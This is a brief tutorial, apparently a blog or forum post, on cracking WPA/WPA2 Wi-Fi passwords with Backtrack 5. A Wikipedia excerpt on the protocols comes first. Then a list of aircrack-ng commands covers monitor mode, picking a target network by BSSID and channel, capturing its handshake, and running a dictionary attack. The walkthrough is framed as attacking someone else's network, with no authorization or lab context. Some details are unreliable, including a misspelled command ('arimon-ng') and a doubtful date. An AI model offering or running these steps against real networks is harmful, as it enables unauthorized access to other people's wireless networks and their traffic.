How to crack a WPA encypted wifi Network with Backtrack 5

1.What is Wi-Fi Protected Access?

Wi-Fi Protected Access

From Wikipedia, the free encyclopedia

Wi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) are two security protocols and security certification programs developed by the

 Wi-Fi Alliance to secure wireless computer networks. The Alliance defined these in response to serious weaknesses researchers had found in the previous system,

 WEP (Wired Equivalent Privacy).^[1]

WPA (sometimes referred to as the draft IEEE 802.11i standard) became available around 1999 and was intended as an intermediate measure in anticipation of the 

availability of the more secure and complex WPA2. WPA2 became available around 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

A flaw in a feature added to Wi-Fi, called Wi-Fi Protected Setup, allows WPA and WPA2 security to be bypassed and effectively broken in many situations.^[2]

2. How to use Backtrack 5 Revolution to crack Wpa-Psk with Dictionary? 

- Open a Terminal 

-type arimon-ng start (your Wireless interface)

-airodump-ng mon0 (ex)

-Find Target and type CTRL +C to stop airodump

-remember his BSSID and Channel ( CH)

-airodump-ng -c 6 --bssid F4:EC:38:AB:35:BC -w (name of .cap file type test(ex)) mon0  (Your  interface )

-Capture HANDSHAKE AND you are ready to do next Step

-aircrack-ng test.cap -w (Your dictionary file)